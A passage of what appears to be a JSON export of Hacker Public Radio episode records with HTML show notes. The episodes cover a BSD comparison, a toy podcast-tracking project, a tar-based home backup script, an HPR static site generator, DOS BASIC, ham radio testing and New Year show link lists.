                                                                • Everything required to boot the system is in /
                                                                • \n
                                                                • Everything not required to boot the system is in /usr/local
                                                                • \n
                                                              • \n
                                                              • ZFS boot environments allow modification and upgrading without worrying
                                                              • \n
                                                              • Familiar enough to linux users
                                                              • \n
                                                              • System feels well integrated instead of hacked together like a GNU+/Linux
                                                              • \n
                                                            • \n
                                                            • storage\n
                                                                \n
                                                              • UFS is dead, long live ZFS (the only actually good RAID)
                                                              • \n
                                                              • Disk encryption via GELI and encrypted ZVOLS
                                                              • \n
                                                            • \n
                                                            • Third party software\n
                                                                \n
                                                              • Largest ports system of the BSDs
                                                              • \n
                                                              • Can install precompiled packages with the pkg utility or compile yourself via the ports tree
                                                              • \n
                                                            • \n
                                                            • Jails\n
                                                                \n
                                                              • Like a chroot but actually secure
                                                              • \n
                                                              • Like docker but without the aspect of downloading random stuff from github
                                                              • \n
                                                              • all jails share a kernel but have separate hostnames, ip addrs, etc
                                                              • \n
                                                            • \n
                                                            • Virtualization\n
                                                                \n
                                                              • bhyve hypervisor, similar to kvm
                                                              • \n
                                                            • \n
                                                            • Security\n
                                                                \n
                                                              • Capsicum (sandboxing framework)
                                                              • \n
                                                              • ACLs
                                                              • \n
                                                            • \n
                                                            • OS compat layers\n
                                                                \n
                                                              • Linux compat layer (can even run steam).
                                                              • \n
                                                              • wine
                                                              • \n
                                                            • \n
                                                            • Documentation\n
                                                            • \n
                                                            \n

                                                            Detriments:

                                                            \n
                                                              \n
                                                            • storage\n
                                                                \n
                                                              • UFS is not journaled by default, just use ZFS
                                                              • \n
                                                            • \n
                                                            • Virtualization\n
                                                                \n
                                                              • there is a virtualbox port
                                                              • \n
                                                            • \n
                                                            • Security\n
                                                                \n
                                                              • Fast rather than secure by default
                                                              • \n
                                                              • read security(7) and you’ll be fine
                                                              • \n
                                                            • \n
                                                            \n

                                                            OpenBSD

                                                            \n

                                                            Goal: simplicity, portability, standardization, correctness, proactive security, and integrated cryptography

                                                            \n

                                                            Use Cases: Networking appliances, desktops, servers

                                                            \n

                                                            Merits:

                                                            \n
                                                              \n
                                                            • Core OS\n
                                                                \n
                                                              • webcam and microphone disabled by default
                                                              • \n
                                                            • \n
                                                            • Security\n
                                                                \n
                                                              • API changes to prevent foot shooting (ie strlcpy and strlcat because string functions in C are a memory leak waiting to happen).
                                                              • \n
                                                              • kernel is randomly relinked and randomized at boot time
                                                              • \n
                                                              • Memory protection\n
                                                                  \n
                                                                • W^X protection means that memory is either exclusively writable or exclusively executable
                                                                • \n
                                                                • malloc’d memory is randomly allocated (bonus: makes buggy programs segfualt loudly)
                                                                • \n
                                                              • \n
                                                              • Crypto\n
                                                                  \n
                                                                • full disk encryption (including swap)
                                                                • \n
                                                                • various algos
                                                                • \n
                                                                • TCP/IP stack randomizes things to reduce predictibality
                                                                • \n
                                                              • \n
                                                              • Xenocara\n
                                                                  \n
                                                                • X11 fork
                                                                • \n
                                                                • privilege separation (ie all Xsessions don’t run as root)
                                                                • \n
                                                              • \n
                                                              • Pledge/unveil syscalls\n
                                                                  \n
                                                                • pledge restricts process capabilities, kernel kills misbehaving processes
                                                                • \n
                                                                • unveil restricts filesystem access to a minimul level
                                                                • \n
                                                              • \n
                                                              • All of the standard daemons run in a chroot with privilege separation
                                                              • \n
                                                              • ASLR
                                                              • \n
                                                              • A million other things
                                                              • \n
                                                            • \n
                                                            • Third party software\n
                                                                \n
                                                              • Everything you need is in the base system. Some of what you want is available via ports or pkg_add
                                                              • \n
                                                            • \n
                                                            • Subprojects:\n
                                                                \n
                                                              • CARP, doas (like sudo but less spaghetti), OpenBSD httpd, LibreSSL, OpenBGPD, OpenNTPD, OpenSMTPD, OpenSSH, pf (the only easy to use firewall), spamd (email filter that plugs into pf), a million other things
                                                              • \n
                                                            • \n
                                                            • Virtualization\n
                                                                \n
                                                              • vmm and vmd
                                                              • \n
                                                            • \n
                                                            • Documentation\n
                                                            • \n
                                                            • Source code is the only good “learn by example” for C
                                                            • \n
                                                            \n

                                                            Demerits:

                                                            \n
                                                              \n
                                                            • Security features can cause slowness
                                                            • \n
                                                            • sometimes you can’t shoot your foot even if you really really want to
                                                            • \n
                                                            • critics claim it’s all security theater
                                                            • \n
                                                            • Requires opening vulnerabilities back up if you want a “Just Werks™” Linux desktop experience
                                                            • \n
                                                            • No MAC
                                                            • \n
                                                            \n

                                                            NetBSD

                                                            \n

                                                            Goal: clean and careful design, scalability, portability

                                                            \n

                                                            Use cases: server, embedded, desktop if you’re a flagellant

                                                            \n

                                                            Features:

                                                            \n
                                                              \n
                                                            • Portability\n
                                                            • \n
                                                            • pkgsrc\n
                                                                \n
                                                              • UNIX and arch agnostic third party packing framework
                                                              • \n
                                                            • \n
                                                            • virtualization\n
                                                                \n
                                                              • xen
                                                              • \n
                                                              • nvmm (similar to kvm, works with qemu)
                                                              • \n
                                                            • \n
                                                            • storage\n
                                                                \n
                                                              • a bunch of filesystems, including journaling UFS and ZFS
                                                              • \n
                                                              • LVM
                                                              • \n
                                                            • \n
                                                            • entirely POSIX compliant
                                                            • \n
                                                            • kernel is scriptable with Lua
                                                            • \n
                                                            \n

                                                            Demerits:

                                                            \n
                                                              \n
                                                            • haven’t used it enough to die the death of a thousand papercuts
                                                            • \n
                                                            \n\n","hostid":406,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"BSD, UNIX, FreeBSD, OpenBSD, NetBSD","version":0,"downloads":0,"valid":1}, {"id":3656,"date":"2022-08-08","title":"Importance of Small toy projects","duration":1149,"summary":"Toy projects are a great way to learn a new language, and a project I did just for fun.","notes":"

                                                            Importance of Small toy projects

                                                            \n

                                                            Inspired by

                                                            \n\n

                                                            My recommendation for learning a new language.

                                                            \n
                                                              \n
                                                            1. Think about a small problem you want to solve with code.
                                                            2. \n
                                                            3. Start banging away at it.
                                                            4. \n
                                                            5. Redo over and over, its OK
                                                            6. \n
                                                            7. Same project but better
                                                            8. \n
                                                            9. Learn new tech and practice
                                                            10. \n
                                                            \n

                                                            An example of one of my small projects

                                                            \n
                                                              \n
                                                            • Original intent of my podfaded project\n
                                                                \n
                                                              • Mostly Tech/Linux podcasts
                                                              • \n
                                                              • Find every podcast I could
                                                              • \n
                                                              • Track release cadence
                                                              • \n
                                                              • Rate how podfaded the feed is
                                                              • \n
                                                              • Use search API to find RSS feeds
                                                              • \n
                                                            • \n
                                                            \n

                                                            First attempt plan

                                                            \n
                                                              \n
                                                            • Scrape podcast networks\n
                                                                \n
                                                              • used beautiful soup - something I wanted to learn anyway
                                                              • \n
                                                              • HTML\n
                                                                  \n
                                                                • Jinja templating - something I wanted to learn anyway
                                                                • \n
                                                                • Bootstrap - something I wanted to learn anyway
                                                                • \n
                                                                • Different colors based on how podfaded
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            First attempt problems

                                                            \n
                                                              \n
                                                            • individual script per network
                                                            • \n
                                                            • 4-5 different scripts
                                                            • \n
                                                            • took forever to run
                                                            • \n
                                                            • Broke when networks changed their page layout
                                                            • \n
                                                            \n

                                                            Redo

                                                            \n
                                                              \n
                                                            • Test Driven Development and pytest\n
                                                                \n
                                                              • Red Green Refactor
                                                              • \n
                                                              • Confidence to change code
                                                              • \n
                                                            • \n
                                                            • Simplify - one scrapper script
                                                            • \n
                                                            • Embed audio player for latest episode
                                                            • \n
                                                            \n

                                                            How it works - Scraping pages for feeds

                                                            \n
                                                              \n
                                                            • scrape_for_feeds.py
                                                            • \n
                                                            • Provide a list of websites that have lists of podcasts
                                                            • \n
                                                            • Search the page for any links
                                                            • \n
                                                            • Check if the feed is valid by trying to parse it with feedparser
                                                            • \n
                                                            • Add feed to database
                                                            • \n
                                                            \n

                                                            Podcasts pages I scrape

                                                            \n\n

                                                            How it works - Checking the feeds

                                                            \n
                                                              \n
                                                            • feed_info.py
                                                            • \n
                                                            • loop through feeds
                                                            • \n
                                                            • use feedparser to find latest episode\n
                                                                \n
                                                              • title and enclosure (audio file)
                                                              • \n
                                                            • \n
                                                            \n

                                                            HTML Output

                                                            \n\n

                                                            Feedback Welcome

                                                            \n
                                                              \n
                                                            • https://gitlab.com/norrist/podfaded2
                                                            • \n
                                                            • Bugs\n
                                                                \n
                                                              • Sometimes the title is missing, so some of the CSS coloring doesn't work
                                                              • \n
                                                              • Excluded podcasts still occasionally show up on the list
                                                              • \n
                                                            • \n
                                                            • Looking for more curated lists of podcast pages\n
                                                                \n
                                                              • not search sites
                                                              • \n
                                                            • \n
                                                            • Maybe scrape HPR podcast recommendation episodes
                                                            • \n
                                                            \n

                                                            Example
                                                            \n\"Example\"

                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, programming","version":0,"downloads":0,"valid":1}, {"id":3657,"date":"2022-08-09","title":"Small time sysadmin","duration":1568,"summary":"How I maintain my Linux Box, Part One.","notes":"
                                                              \n
                                                            1. Creating Backups.
                                                            2. \n
                                                            \n
                                                              \n
                                                            • This script was trimmed to serve as an example.

                                                            • \n
                                                            • The three options shown (email, jop, dots) demonstrates, how to list items with case statements:

                                                              \n
                                                                \n
                                                              • Single item/directory (jop).
                                                              • \n
                                                              • Multiple items in single directory (dots).
                                                              • \n
                                                              • Multiple items in multiple directories (email).
                                                              • \n
                                                            • \n
                                                            • The text files created after the archive serves as an item list
                                                              \nwith current permissions.

                                                            • \n
                                                            • tar --directory= /path/to/directory/ --create --file INSERT_ARCHIVE_NAME.tar /path/to/file;

                                                            • \n
                                                            \n
                                                            #!/bin/bash\n#License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\n#Name: getoverhere.sh\n#Purpose:\n#Version: beta 0.07\n#Author: SGOTI (Some Guy On The Internet)\n#Date: Sat 29 Jan 2022 02:19:29 AM EST\n\n#variables:\nVAR_TBALL=\nVAR_TARGET=\nVAR_JUMP=\nVAR_VALUE=\n\n#start:\ncat << "EOT01"\nOptions:\n    email |"${HOME}/.thunderbird/"\n    jop |"${HOME}/Documents/joplin"\n    dots |"${HOME}/.bashrc .vimrc .bash_aliases"\nEOT01\n\necho -e "What do you want to backup? : \\c."\nread VAR_VALUE\n\ncase ${VAR_VALUE} in\n    "email" )\nVAR_TBALL="INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz"\nVAR_TARGET="msgFilterRules.dat"\nVAR_JUMP="${HOME}/.thunderbird/*.default-release/ImapMail/imap.mail.yahoo.com/"\n    echo -e "Grabbing INSERT_EMAIL_NAME...\\n"\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n\nVAR_TBALL="INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz"\nVAR_TARGET="msgFilterRules.dat"\nVAR_JUMP="${HOME}/.thunderbird/*.default-release/ImapMail/imap.gmail.com/"\n    echo -e "Grabbing INSERT_EMAIL_NAME...\\n"\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n\nVAR_TBALL="EMAIL_ARCHIVES$(date +%m-%d-%Y).tar.gz"\nVAR_TARGET="Mail/"\nVAR_JUMP="${HOME}/.thunderbird/*.default-release/"\n    echo -e "Grabbing email EMAIL_ARCHIVES...\\n"\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e "Creating List for ${VAR_TBALL}...\\n"\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} > EMAIL_ARCHIVES$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL="THUNDERBIRD_CALENDER$(date +%m-%d-%Y).tar.gz"\nVAR_TARGET="calenders/"\nVAR_JUMP="${HOME}/Documents/"\n    echo -e "Grabbing email THUNDERBIRD_CALENDER...\\n"\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e "Creating List for ${VAR_TBALL}...\\n"\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} > THUNDERBIRD_CALENDER$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL="THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).tar.gz"\nVAR_TARGET="address-book/"\nVAR_JUMP="${HOME}/Documents/"\n    echo -e "Grabbing ${VAR_TARGET}...\\n"\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e "Creating List for ${VAR_TBALL}...\\n"\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} > THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL="THUNDERBIRD_ALL$(date +%m-%d-%Y).tar.gz"\nVAR_TARGET=".thunderbird/"\nVAR_JUMP="${HOME}/"\n    echo -e "Grabbing ${VAR_TARGET}...\\n"\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e "Creating List for ${VAR_TBALL}...\\n"\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} > THUNDERBIRD_ALL$(date +%m-%d-%Y).txt ;;\n\n    "jop" )\nVAR_TBALL="JOPLIN$(date +%m-%d-%Y).tar.gz"\nVAR_TARGET="joplin/"\nVAR_JUMP="${HOME}/Documents/"\n    echo "Grabbing ${VAR_TARGET}"\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n    echo -e "Creating List for ${VAR_TBALL}...\\n"\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} > JOPLIN$(date +%m-%d-%Y).txt ;;\n\n    "dots" )\nVAR_TBALL="dots$(date +%m-%d-%Y).tar.gz"\nVAR_TARGET=".bashrc .vimrc .bash_aliases"\nVAR_JUMP="${HOME}/"\n    echo "Grabbing ${VAR_TARGET}"\ntar -v -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET} ;;\n\n    * )\n    echo "Good Heavens..." ;;\nesac\nexit;\n
                                                            \n
                                                            \n
                                                              \n
                                                            1. Restoring from backups.
                                                            2. \n
                                                            \n
                                                              \n
                                                            • tar --extract --directory= /path/to/directory/ --file /path/to/file;
                                                            • \n
                                                            • A cp -v -t /path/to/directory *08-05-2022.tar.gz; command is used to
                                                              \nsend the latest tarballs to the fresh install, from the backup drive.
                                                            • \n
                                                            • Now that you’ve seen the script above, I’ll just give a tar --extract example to keep things short and sweet.
                                                            • \n
                                                            \n
                                                            VAR_TBALL="EMAIL_ARCHIVES*.tar.gz"\nVAR_JUMP="${HOME}/.thunderbird/*.default-release/"\n    echo -e "Restoring EMAIL_ARCHIVES...\\n"\ntar --extract --directory= ${VAR_JUMP} --file ${VAR_TBALL}\n    echo -e "EMAIL_ARCHIVES restored.\\n"\n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"sysadmin, system maintenance, tar, backups","version":0,"downloads":0,"valid":1}, {"id":3658,"date":"2022-08-10","title":"Linux Inlaws S01E62: HPR's inner workings","duration":1975,"summary":"An overview of HPRs inner workings and stats based on a ludicrous claim by the Inlaws","notes":"

                                                            In this episode our two ageing heroes explore the inner workings of a podcast (or podcast hosting platform depending on your perspective) called Hacker Public Radio. Yes, the platform that the Inlaws have been using since the very inception of this rapidly growing FLOSS podcast content. Wondering what the heck this episode is all about, why exactly Martin and Chris are talking about this now and the importance of statistics, lies and damned lies? Then just listen to this episode. You may also find out the difference between mere caching and content syndication. Never mind HPR's inner workings.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Lies, damned lies, stats, projections, CDNs, Ford, Ferrari, Monsters, Books","version":0,"downloads":0,"valid":1}, {"id":3659,"date":"2022-08-11","title":"Developing an HPR static site generator","duration":673,"summary":"Rho`n describes his approach to developing a static site generator for HPR","notes":"

                                                            Synopsis

                                                            \n

                                                            In this episode, I describe my ongoing attempt to develop a static site generator for the HPR website. As a search through the community mailing list will reveal, the idea for moving the HPR website has been rattling around for a few years. I have been interested in helping out with the website for a while, so when the latest round of discussion occurred I decided to give it a whirl.

                                                            \n

                                                            While I have read about various static site generators over the years, the only one I had any experience with was Template-Toolkit (TT2) when helping Ken Fallon and Dave Morriss develop the Free Culture Podcasts webpage. It is the tool Dave uses for various projects. Since they are the janitors for HPR, I figured a website generator based on the TT2 would be something relatively painless enough for them to use, and update when needed.

                                                            \n

                                                            The code for this generator is hosted at https://repo.anhonesthost.net/rho_n/hpr_generator. The generator is written in Perl and generates the pages using TT2 templates.

                                                            \n

                                                            Anyone interested in helping out is encouraged to create an account on repo.anhonesthost.net and start hacking away.

                                                            \n

                                                            References

                                                            \n\n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR, static site generator, Perl, SQLite, Template Toolkit","version":0,"downloads":0,"valid":1}, {"id":3660,"date":"2022-08-12","title":"BASIC","duration":485,"summary":"We continue our technological archeology to explore the old warhorse, DOS. This time it is BASIC.","notes":"

                                                            BASIC came bundled as a free programming language when you bought DOS, but it is also the language used for two key components, EDIT and HELP. You need BASIC, therefore, to run either of these key applications, such as on your Emergency Boot Disk.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, BASIC","version":0,"downloads":0,"valid":1}, {"id":3661,"date":"2022-08-15","title":"Ham Radio testing","duration":361,"summary":"Study and testing for the ARRL Ham license","notes":"

                                                            Study tools

                                                            \n\n

                                                            ARRL (American Radio Relay League)

                                                            \n\n

                                                            Pictures

                                                            \n

                                                            Picture of sign on the test day
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture of Masonic Lodge sign
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n","hostid":318,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"ham radio, ARRL, testing","version":0,"downloads":0,"valid":1}, {"id":3662,"date":"2022-08-16","title":"2021-2022 New Years Show Part 1","duration":11138,"summary":"The HPR community comes together to chat","notes":"

                                                            Hacker Public Radio New Years Eve Show 2021 - 2022

                                                            \n

                                                            Part 1

                                                            \n

                                                            2021-12-31T10:00:00Z

                                                            \n

                                                            Welcome to the 9th Annual Hacker Public Radio show. It is December the 31st 2021 and the time is 10 hundred hours UTC. We start the show by sending Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia.

                                                            \n

                                                            LINT Christmas Island/Kiribati Kiritimati

                                                            \n

                                                            Ken and Honkey talk about setting up streaming

                                                            \n

                                                            Mumble → Client (Butt) → Ice Cast

                                                            \n

                                                            https://www.mumble.info/downloads/

                                                            \n

                                                            https://danielnoethen.de/butt/

                                                            \n

                                                            https://icecast.org/

                                                            \n

                                                            http://www.darkice.org/

                                                            \n

                                                            Ken and Honkey talk about COVID-19 Omicron Variant

                                                            \n

                                                            https://www.cdc.gov/coronavirus/2019-ncov/variants/omicron-variant.html

                                                            \n

                                                            https://www.alzheimers.org.uk/get-support/coronavirus/about-coronavirus

                                                            \n

                                                            Ken, Honkey, and Netminer talk about mental health, Asperger's Syndrome, Eli The Computer Guy

                                                            \n

                                                            https://en.wikipedia.org/wiki/Asperger_syndrome

                                                            \n

                                                            https://www.webmd.com/brain/autism/mental-health-aspergers-syndrome

                                                            \n

                                                            https://aspergersfromtheinside.com/

                                                            \n

                                                            https://www.youtube.com/channel/UC-FpBZR7DbpvNj5UrFN8qUA

                                                            \n

                                                            https://www.youtube.com/c/Elithecomputerguypage

                                                            \n

                                                            Ken gets his HAM radio license

                                                            \n

                                                            http://www.arrl.org/getting-licensed

                                                            \n

                                                            Ken talks about rebuilding the house

                                                            \n

                                                            Growing up in the 60's

                                                            \n

                                                            https://en.wikipedia.org/wiki/Andrew_Greeley

                                                            \n

                                                            https://www.goodreads.com/book/show/1197497.The_High_Tech_Knight

                                                            \n

                                                            https://en.wikipedia.org/wiki/Leo_Frankowski

                                                            \n

                                                            What is a Dunny?

                                                            \n

                                                            https://www.warrenfahey.com.au/the-dunny-a-history/

                                                            \n

                                                            https://www.pinterest.com.au/rosepat52/old-aussie-dunnies/

                                                            \n

                                                            Farming Talk

                                                            \n

                                                            Isaac & James https://www.facebook.com/IsaacenJames/?fref=mentions&__tn__=K-R

                                                            \n

                                                            More Amateur Radio

                                                            \n

                                                            Harmonised Amateur Radio Examination Certificate (HAREC)

                                                            \n

                                                            http://www.zs6mrk.org/RAE%20Handleiding/The-HAREC-syllabus---CEPT-T_R-61-02-Annex-6---Class-A-only.PDF

                                                            \n

                                                            Raspberry Pi 400 Chat & Makulu Linux (installs Android APKs)

                                                            \n

                                                            https://www.raspberrypi.com/products/raspberry-pi-400/

                                                            \n

                                                            http://www.makululinux.com/wp/

                                                            \n

                                                            https://distrowatch.com/table.php?distribution=makulu

                                                            \n

                                                            Honkey Talks about his Pi4 and Steamlink, Diet Pi , Etcher + more

                                                            \n

                                                            https://store.steampowered.com/app/353380/Steam_Link/

                                                            \n

                                                            https://play.google.com/store/apps/details?id=com.valvesoftware.steamlink&hl=en_US&gl=US

                                                            \n

                                                            https://apps.apple.com/us/app/steam-link/id1246969117

                                                            \n

                                                            https://dietpi.com/

                                                            \n

                                                            https://etcher.download/

                                                            \n

                                                            https://github.com/raspberrypi/rpi-imager

                                                            \n

                                                            Archiving Old Vinyl

                                                            \n

                                                            https://www.raspberrypi.com/news/hi-fi-raspberry-pi/

                                                            \n

                                                            https://www.youtube.com/watch?v=zWGU0lk_fr4

                                                            \n

                                                            Tony H. Netminer & Dave Chat

                                                            \n

                                                            https://distrohoppersdigest.blogspot.com/

                                                            \n

                                                            https://mintcast.org/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Blackpool

                                                            \n

                                                            https://en.wikipedia.org/wiki/Nantasket_Beach

                                                            \n

                                                            Buying PCs/laptops with Linux pre-installed.

                                                            \n

                                                            https://www.entroware.com/store/

                                                            \n

                                                            https://junocomputers.com/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Asus_Eee_PC

                                                            \n

                                                            UK Fiber Optic ISP

                                                            \n

                                                            https://cityfibre.com/

                                                            \n

                                                            Group Chat about various tech topics

                                                            \n

                                                            BSD flavors

                                                            \n

                                                            https://en.wikipedia.org/wiki/Berkeley_Software_Distribution

                                                            \n

                                                            https://www.openbsd.org/

                                                            \n

                                                            https://www.freebsd.org/

                                                            \n

                                                            https://nomadbsd.org/

                                                            \n

                                                            Boxes VM Manager

                                                            \n

                                                            https://help.gnome.org/users/gnome-boxes/stable/

                                                            \n

                                                            ARPANET

                                                            \n

                                                            https://en.wikipedia.org/wiki/ARPANET

                                                            \n

                                                            Leena / Lena

                                                            \n

                                                            Lenna or Lena is a standard test image widely used in the field of image processing since 1973. https://en.wikipedia.org/wiki/Lenna

                                                            \n

                                                            https://en.wikipedia.org/wiki/Digital_Equipment_Corporation
                                                            \nhttps://en.wikipedia.org/wiki/OpenVMS
                                                            \nhttps://en.wikipedia.org/wiki/DEC_Alpha
                                                            \nhttps://en.wikipedia.org/wiki/Tru64_UNIX

                                                            \n

                                                            Knight TV /Tom Knight (Knight TV)

                                                            \n

                                                            https://en.wikipedia.org/wiki/Tom_Knight_(scientist)

                                                            \n

                                                            http://pdp-6.net/knight-tv/knight-tv.html

                                                            \n

                                                            PDP 11

                                                            \n

                                                            https://en.wikipedia.org/wiki/PDP-11

                                                            \n

                                                            Haiku OS

                                                            \n

                                                            https://www.haiku-os.org/

                                                            \n

                                                            Motorola StarMax Mac Clones

                                                            \n

                                                            https://everymac.com/systems/motorola/index-motorola-starmax-mac-clones.html

                                                            \n

                                                            DECstation

                                                            \n

                                                            https://en.wikipedia.org/wiki/DECstation

                                                            \n

                                                            VMS / OpenVMS

                                                            \n

                                                            https://en.wikipedia.org/wiki/OpenVMS

                                                            \n

                                                            DEC Alpha

                                                            \n

                                                            https://en.wikipedia.org/wiki/DEC_Alpha

                                                            \n

                                                            https://www.techopedia.com/definition/18752/dec-alpha

                                                            \n

                                                            Ultrix

                                                            \n

                                                            https://en.wikipedia.org/wiki/Ultrix

                                                            \n

                                                            PowerMac G5

                                                            \n

                                                            https://everymac.com/systems/apple/powermac_g5/index-powermac-g5.html

                                                            \n

                                                            https://en.wikipedia.org/wiki/Power_Mac_G5

                                                            \n

                                                            Tru64 Unix

                                                            \n

                                                            https://en.wikipedia.org/wiki/Tru64_UNIX

                                                            \n

                                                            https://winworldpc.com/product/tru64/50

                                                            \n

                                                            TU58

                                                            \n

                                                            http://gunkies.org/wiki/TU58_DECtape_II

                                                            \n

                                                            http://web.frainresearch.org:8080/projects/mypdp/tu58.php

                                                            \n

                                                            http://bitsavers.trailing-edge.com/pdf/dec/dectape/tu58/EK-0TU58-UG-001_TU58_DECtape_II_Users_Guide_Oct78.pdf

                                                            \n

                                                            ICL 1900

                                                            \n

                                                            https://en.wikipedia.org/wiki/International_Computers_Limited

                                                            \n

                                                            http://www.ict1900.com/

                                                            \n

                                                            DECwriter

                                                            \n

                                                            http://www.columbia.edu/cu/computinghistory/la36.html

                                                            \n

                                                            https://vt100.net/docs/tp83/chapter14.html

                                                            \n

                                                            https://en.wikipedia.org/wiki/DECwriter

                                                            \n

                                                            ISDN Phone Lines

                                                            \n

                                                            https://uh.edu/~wrice/phone.htm

                                                            \n

                                                            https://en.wikipedia.org/wiki/Integrated_Services_Digital_Network

                                                            \n

                                                            X.25

                                                            \n

                                                            https://www.lifewire.com/x-25-816286

                                                            \n

                                                            https://networkencyclopedia.com/x-25/

                                                            \n

                                                            IMP

                                                            \n

                                                            https://en.wikipedia.org/wiki/Interface_Message_Processor

                                                            \n

                                                            https://www.techopedia.com/definition/7692/interface-message-processor-imp

                                                            \n

                                                            UK Academic Network. JANET (Joint Academic Network)

                                                            \n

                                                            https://www.jisc.ac.uk/janet/history

                                                            \n

                                                            UK Academic Coloured Book Protocols

                                                            \n

                                                            https://en.wikipedia.org/wiki/Coloured_Book_protocols

                                                            \n

                                                            Anne & Lynn Wheeler

                                                            \n

                                                            https://garlic.com/#

                                                            \n

                                                            https://www.garlic.com/~lynn/

                                                            \n

                                                            George 3 Operating System

                                                            \n

                                                            http://www.chilton-computing.org.uk/acl/pdfs/icl1900_intro_george3.pdf

                                                            \n

                                                            Hercules MVS Emulator

                                                            \n

                                                            https://en.wikipedia.org/wiki/Hercules_(emulator)

                                                            \n

                                                            http://www.hercules-390.org/

                                                            \n

                                                            Doctor Who, K9, Ultraman, and Thunderbirds+ more

                                                            \n

                                                            https://en.wikipedia.org/wiki/Doctor_Who%3A_The_Curse_of_Fatal_Death

                                                            \n

                                                            https://www.bbc.co.uk/programmes/b006q2x0

                                                            \n

                                                            https://en.wikipedia.org/wiki/Doctor_Who

                                                            \n

                                                            https://www.imdb.com/title/tt1102732/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Ultraman_(1966_TV_series)

                                                            \n

                                                            https://en.wikipedia.org/wiki/Thunderbirds_(TV_series)

                                                            \n

                                                            https://en.wikipedia.org/wiki/Supermarionation

                                                            \n

                                                            https://en.wikipedia.org/wiki/Doctor_Who:_The_Curse_of_Fatal_Death

                                                            \n

                                                            https://tardis.fandom.com/wiki/Doctor_Who_Night_(1999)

                                                            \n

                                                            https://www.youtube.com/watch?v=EfQFmZCbOfM

                                                            \n

                                                            Log4J Vulnerability

                                                            \n

                                                            https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance

                                                            \n

                                                            Hacker Public Radio show mention -- Fixing a Noisy Blower Motor

                                                            \n

                                                            http://hackerpublicradio.org/eps.php?id=3499

                                                            \n

                                                            Netminer suggests a newsgroup

                                                            \n

                                                            alt.sysadmin.recovery Sysadmin humor Better than a 45 to that damn server. .

                                                            \n

                                                            Nike Missile Site mention

                                                            \n

                                                            http://ed-thelen.org/

                                                            \n

                                                            https://en.wikipedia.org/wiki/List_of_Nike_missile_sites

                                                            \n

                                                            \"Bubba shot the Jukebox\" song reference.

                                                            \n

                                                            https://www.youtube.com/watch?v=qbQW7rDOPxI

                                                            \n

                                                            ClaudioM's Blog - Hello from the End of 2021!:
                                                            \nhttps://claudiomiranda.wordpress.com/2021/12/31/hello-from-the-end-of-2021/

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR, New Years, Talking","version":0,"downloads":0,"valid":1}, {"id":3663,"date":"2022-08-17","title":"How I got into Tech","duration":358,"summary":"Follow-up episode about how I got into tech","notes":"

                                                            From deleting command.com in Windows 95 to tinkering with circuitpython, this is a brief introduction of how I got into tech

                                                            \n","hostid":408,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"tech, personal history, introductions","version":0,"downloads":0,"valid":1}, {"id":3664,"date":"2022-08-18","title":"Secret hat conversations","duration":1070,"summary":"You'll need your tin hat for this one.","notes":"

                                                            The Tin Foil Hat often worn in the belief or hope that it shields the brain from threats such as electromagnetic fields, mind control, and mind reading.

                                                            \n
                                                              \n
                                                            1. Proper hat construction video. Also includes the “why” along with the “how”.
                                                            2. \n
                                                            3. Proper hat construction music. Just something to keep you focused.
                                                            4. \n
                                                            \n
                                                            \n

                                                            FCC Caller ID Spoofing info: Spoofing is when a caller deliberately falsifies the information transmitted to your caller ID display to disguise their identity.

                                                            \n

